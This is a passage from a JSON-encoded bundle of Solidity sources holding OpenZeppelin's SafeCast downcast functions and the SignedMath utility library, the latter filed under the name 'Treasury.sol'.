toUint168(uint256 value) internal pure returns (uint168) {\r\n require(\r\n value \u003c= type(uint168).max,\r\n \"SafeCast: value doesn\u0027t fit in 168 bits\"\r\n );\r\n return uint168(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint160 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint160).\r\n *\r\n * Counterpart to Solidity\u0027s `uint160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint160(uint256 value) internal pure returns (uint160) {\r\n require(\r\n value \u003c= type(uint160).max,\r\n \"SafeCast: value doesn\u0027t fit in 160 bits\"\r\n );\r\n return uint160(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint152 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint152).\r\n *\r\n * Counterpart to Solidity\u0027s `uint152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint152(uint256 value) internal pure returns (uint152) {\r\n require(\r\n value \u003c= type(uint152).max,\r\n \"SafeCast: value doesn\u0027t fit in 152 bits\"\r\n );\r\n return uint152(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint144 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint144).\r\n *\r\n * Counterpart to Solidity\u0027s `uint144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint144(uint256 value) internal pure returns (uint144) {\r\n require(\r\n value \u003c= type(uint144).max,\r\n \"SafeCast: value doesn\u0027t fit in 144 bits\"\r\n );\r\n return uint144(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint136 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint136).\r\n *\r\n * Counterpart to Solidity\u0027s `uint136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint136(uint256 value) internal pure returns (uint136) {\r\n require(\r\n value \u003c= type(uint136).max,\r\n \"SafeCast: value doesn\u0027t fit in 136 bits\"\r\n );\r\n return uint136(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint128 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint128).\r\n *\r\n * Counterpart to Solidity\u0027s `uint128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint128(uint256 value) internal pure returns (uint128) {\r\n require(\r\n value \u003c= type(uint128).max,\r\n \"SafeCast: value doesn\u0027t fit in 128 bits\"\r\n );\r\n return uint128(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint120 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint120).\r\n *\r\n * Counterpart to Solidity\u0027s `uint120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint120(uint256 value) internal pure returns (uint120) {\r\n require(\r\n value \u003c= type(uint120).max,\r\n \"SafeCast: value doesn\u0027t fit in 120 bits\"\r\n );\r\n return uint120(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint112 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint112).\r\n *\r\n * Counterpart to Solidity\u0027s `uint112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint112(uint256 value) internal pure returns (uint112) {\r\n require(\r\n value \u003c= type(uint112).max,\r\n \"SafeCast: value doesn\u0027t fit in 112 bits\"\r\n );\r\n return uint112(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint104 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint104).\r\n *\r\n * Counterpart to Solidity\u0027s `uint104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint104(uint256 value) internal pure returns (uint104) {\r\n require(\r\n value \u003c= type(uint104).max,\r\n \"SafeCast: value doesn\u0027t fit in 104 bits\"\r\n );\r\n return uint104(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint96 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint96).\r\n *\r\n * Counterpart to Solidity\u0027s `uint96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint96(uint256 value) internal pure returns (uint96) {\r\n require(\r\n value \u003c= type(uint96).max,\r\n \"SafeCast: value doesn\u0027t fit in 96 bits\"\r\n );\r\n return uint96(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint88 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint88).\r\n *\r\n * Counterpart to Solidity\u0027s `uint88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint88(uint256 value) internal pure returns (uint88) {\r\n require(\r\n value \u003c= type(uint88).max,\r\n \"SafeCast: value doesn\u0027t fit in 88 bits\"\r\n );\r\n return uint88(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint80 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint80).\r\n *\r\n * Counterpart to Solidity\u0027s `uint80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint80(uint256 value) internal pure returns (uint80) {\r\n require(\r\n value \u003c= type(uint80).max,\r\n \"SafeCast: value doesn\u0027t fit in 80 bits\"\r\n );\r\n return uint80(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint72 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint72).\r\n *\r\n * Counterpart to Solidity\u0027s `uint72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint72(uint256 value) internal pure returns (uint72) {\r\n require(\r\n value \u003c= type(uint72).max,\r\n \"SafeCast: value doesn\u0027t fit in 72 bits\"\r\n );\r\n return uint72(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint64 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint64).\r\n *\r\n * Counterpart to Solidity\u0027s `uint64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint64(uint256 value) internal pure returns (uint64) {\r\n require(\r\n value \u003c= type(uint64).max,\r\n \"SafeCast: value doesn\u0027t fit in 64 bits\"\r\n );\r\n return uint64(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint56 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint56).\r\n *\r\n * Counterpart to Solidity\u0027s `uint56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint56(uint256 value) internal pure returns (uint56) {\r\n require(\r\n value \u003c= type(uint56).max,\r\n \"SafeCast: value doesn\u0027t fit in 56 bits\"\r\n );\r\n return uint56(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint48 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint48).\r\n *\r\n * Counterpart to Solidity\u0027s `uint48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint48(uint256 value) internal pure returns (uint48) {\r\n require(\r\n value \u003c= type(uint48).max,\r\n \"SafeCast: value doesn\u0027t fit in 48 bits\"\r\n );\r\n return uint48(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint40 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint40).\r\n *\r\n * Counterpart to Solidity\u0027s `uint40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint40(uint256 value) internal pure returns (uint40) {\r\n require(\r\n value \u003c= type(uint40).max,\r\n \"SafeCast: value doesn\u0027t fit in 40 bits\"\r\n );\r\n return uint40(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint32 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint32).\r\n *\r\n * Counterpart to Solidity\u0027s `uint32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint32(uint256 value) internal pure returns (uint32) {\r\n require(\r\n value \u003c= type(uint32).max,\r\n \"SafeCast: value doesn\u0027t fit in 32 bits\"\r\n );\r\n return uint32(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint24 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint24).\r\n *\r\n * Counterpart to Solidity\u0027s `uint24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint24(uint256 value) internal pure returns (uint24) {\r\n require(\r\n value \u003c= type(uint24).max,\r\n \"SafeCast: value doesn\u0027t fit in 24 bits\"\r\n );\r\n return uint24(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint16 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint16).\r\n *\r\n * Counterpart to Solidity\u0027s `uint16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint16(uint256 value) internal pure returns (uint16) {\r\n require(\r\n value \u003c= type(uint16).max,\r\n \"SafeCast: value doesn\u0027t fit in 16 bits\"\r\n );\r\n return uint16(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint8 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint8).\r\n *\r\n * Counterpart to Solidity\u0027s `uint8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint8(uint256 value) internal pure returns (uint8) {\r\n require(\r\n value \u003c= type(uint8).max,\r\n \"SafeCast: value doesn\u0027t fit in 8 bits\"\r\n );\r\n return uint8(value);\r\n }\r\n\r\n /**\r\n * @dev Converts a signed int256 into an unsigned uint256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be greater than or equal to 0.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toUint256(int256 value) internal pure returns (uint256) {\r\n require(value \u003e= 0, \"SafeCast: value must be positive\");\r\n return uint256(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int248 from int256, reverting on\r\n * overflow (when the input is less than smallest int248 or\r\n * greater than largest int248).\r\n *\r\n * Counterpart to Solidity\u0027s `int248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\r\n downcasted = int248(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 248 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int240 from int256, reverting on\r\n * overflow (when the input is less than smallest int240 or\r\n * greater than largest int240).\r\n *\r\n * Counterpart to Solidity\u0027s `int240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\r\n downcasted = int240(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 240 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int232 from int256, reverting on\r\n * overflow (when the input is less than smallest int232 or\r\n * greater than largest int232).\r\n *\r\n * Counterpart to Solidity\u0027s `int232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\r\n downcasted = int232(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 232 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int224 from int256, reverting on\r\n * overflow (when the input is less than smallest int224 or\r\n * greater than largest int224).\r\n *\r\n * Counterpart to Solidity\u0027s `int224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\r\n downcasted = int224(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 224 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int216 from int256, reverting on\r\n * overflow (when the input is less than smallest int216 or\r\n * greater than largest int216).\r\n *\r\n * Counterpart to Solidity\u0027s `int216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\r\n downcasted = int216(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 216 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int208 from int256, reverting on\r\n * overflow (when the input is less than smallest int208 or\r\n * greater than largest int208).\r\n *\r\n * Counterpart to Solidity\u0027s `int208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\r\n downcasted = int208(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 208 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int200 from int256, reverting on\r\n * overflow (when the input is less than smallest int200 or\r\n * greater than largest int200).\r\n *\r\n * Counterpart to Solidity\u0027s `int200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\r\n downcasted = int200(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 200 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int192 from int256, reverting on\r\n * overflow (when the input is less than smallest int192 or\r\n * greater than largest int192).\r\n *\r\n * Counterpart to Solidity\u0027s `int192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\r\n downcasted = int192(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 192 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int184 from int256, reverting on\r\n * overflow (when the input is less than smallest int184 or\r\n * greater than largest int184).\r\n *\r\n * Counterpart to Solidity\u0027s `int184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\r\n downcasted = int184(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 184 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int176 from int256, reverting on\r\n * overflow (when the input is less than smallest int176 or\r\n * greater than largest int176).\r\n *\r\n * Counterpart to Solidity\u0027s `int176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\r\n downcasted = int176(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 176 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int168 from int256, reverting on\r\n * overflow (when the input is less than smallest int168 or\r\n * greater than largest int168).\r\n *\r\n * Counterpart to Solidity\u0027s `int168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\r\n downcasted = int168(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 168 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int160 from int256, reverting on\r\n * overflow (when the input is less than smallest int160 or\r\n * greater than largest int160).\r\n *\r\n * Counterpart to Solidity\u0027s `int160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\r\n downcasted = int160(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 160 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int152 from int256, reverting on\r\n * overflow (when the input is less than smallest int152 or\r\n * greater than largest int152).\r\n *\r\n * Counterpart to Solidity\u0027s `int152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\r\n downcasted = int152(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 152 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int144 from int256, reverting on\r\n * overflow (when the input is less than smallest int144 or\r\n * greater than largest int144).\r\n *\r\n * Counterpart to Solidity\u0027s `int144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\r\n downcasted = int144(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 144 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int136 from int256, reverting on\r\n * overflow (when the input is less than smallest int136 or\r\n * greater than largest int136).\r\n *\r\n * Counterpart to Solidity\u0027s `int136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\r\n downcasted = int136(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 136 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int128 from int256, reverting on\r\n * overflow (when the input is less than smallest int128 or\r\n * greater than largest int128).\r\n *\r\n * Counterpart to Solidity\u0027s `int128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\r\n downcasted = int128(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 128 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int120 from int256, reverting on\r\n * overflow (when the input is less than smallest int120 or\r\n * greater than largest int120).\r\n *\r\n * Counterpart to Solidity\u0027s `int120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\r\n downcasted = int120(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 120 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int112 from int256, reverting on\r\n * overflow (when the input is less than smallest int112 or\r\n * greater than largest int112).\r\n *\r\n * Counterpart to Solidity\u0027s `int112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\r\n downcasted = int112(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 112 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int104 from int256, reverting on\r\n * overflow (when the input is less than smallest int104 or\r\n * greater than largest int104).\r\n *\r\n * Counterpart to Solidity\u0027s `int104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\r\n downcasted = int104(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 104 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int96 from int256, reverting on\r\n * overflow (when the input is less than smallest int96 or\r\n * greater than largest int96).\r\n *\r\n * Counterpart to Solidity\u0027s `int96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\r\n downcasted = int96(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 96 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int88 from int256, reverting on\r\n * overflow (when the input is less than smallest int88 or\r\n * greater than largest int88).\r\n *\r\n * Counterpart to Solidity\u0027s `int88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\r\n downcasted = int88(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 88 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int80 from int256, reverting on\r\n * overflow (when the input is less than smallest int80 or\r\n * greater than largest int80).\r\n *\r\n * Counterpart to Solidity\u0027s `int80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\r\n downcasted = int80(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 80 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int72 from int256, reverting on\r\n * overflow (when the input is less than smallest int72 or\r\n * greater than largest int72).\r\n *\r\n * Counterpart to Solidity\u0027s `int72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\r\n downcasted = int72(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 72 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int64 from int256, reverting on\r\n * overflow (when the input is less than smallest int64 or\r\n * greater than largest int64).\r\n *\r\n * Counterpart to Solidity\u0027s `int64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\r\n downcasted = int64(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 64 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int56 from int256, reverting on\r\n * overflow (when the input is less than smallest int56 or\r\n * greater than largest int56).\r\n *\r\n * Counterpart to Solidity\u0027s `int56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\r\n downcasted = int56(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 56 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int48 from int256, reverting on\r\n * overflow (when the input is less than smallest int48 or\r\n * greater than largest int48).\r\n *\r\n * Counterpart to Solidity\u0027s `int48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\r\n downcasted = int48(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 48 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int40 from int256, reverting on\r\n * overflow (when the input is less than smallest int40 or\r\n * greater than largest int40).\r\n *\r\n * Counterpart to Solidity\u0027s `int40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\r\n downcasted = int40(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 40 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int32 from int256, reverting on\r\n * overflow (when the input is less than smallest int32 or\r\n * greater than largest int32).\r\n *\r\n * Counterpart to Solidity\u0027s `int32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\r\n downcasted = int32(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 32 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int24 from int256, reverting on\r\n * overflow (when the input is less than smallest int24 or\r\n * greater than largest int24).\r\n *\r\n * Counterpart to Solidity\u0027s `int24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\r\n downcasted = int24(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 24 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int16 from int256, reverting on\r\n * overflow (when the input is less than smallest int16 or\r\n * greater than largest int16).\r\n *\r\n * Counterpart to Solidity\u0027s `int16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\r\n downcasted = int16(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 16 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int8 from int256, reverting on\r\n * overflow (when the input is less than smallest int8 or\r\n * greater than largest int8).\r\n *\r\n * Counterpart to Solidity\u0027s `int8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\r\n downcasted = int8(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 8 bits\");\r\n }\r\n\r\n /**\r\n * @dev Converts an unsigned uint256 into a signed int256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be less than or equal to maxInt256.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toInt256(uint256 value) internal pure returns (int256) {\r\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\r\n require(\r\n value \u003c= uint256(type(int256).max),\r\n \"SafeCast: value doesn\u0027t fit in an int256\"\r\n );\r\n return int256(value);\r\n }\r\n}"},"Treasury.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Standard signed math utilities missing in the Solidity language.\r\n */\r\nlibrary SignedMath {\r\n /**\r\n * @dev Returns the largest of two signed numbers.\r\n */\r\n function max(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003e b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the smallest of two signed numbers.\r\n */\r\n function min(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003c b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the average of two signed numbers without overflow.\r\n * The result is rounded towards zero.\r\n */\r\n function average(int256 a, int256 b) internal pure returns (int256) {\r\n // Formula from the book \"Hacker\u0027s Delight\"\r\n int256 x = (a \u0026 b) + ((a ^ b) \u003e\u003e 1);\r\n return x + (int256(uint256(x) \u003e\u003e 255) \u0026 (a ^ b));\r\n }\r\n\r\n /**\r\n * @dev Returns the absolute unsigned value of a signed value.\r\n */\r\n function abs(int256 n) internal pure returns (uint256) {\r\n unchecked {\r\n // must be unchecked in order to support `n = type(int256).min`\r\n return uint256(n \u003e= 0 ? n : -n);\r\n }\r\n }\r\n}"}}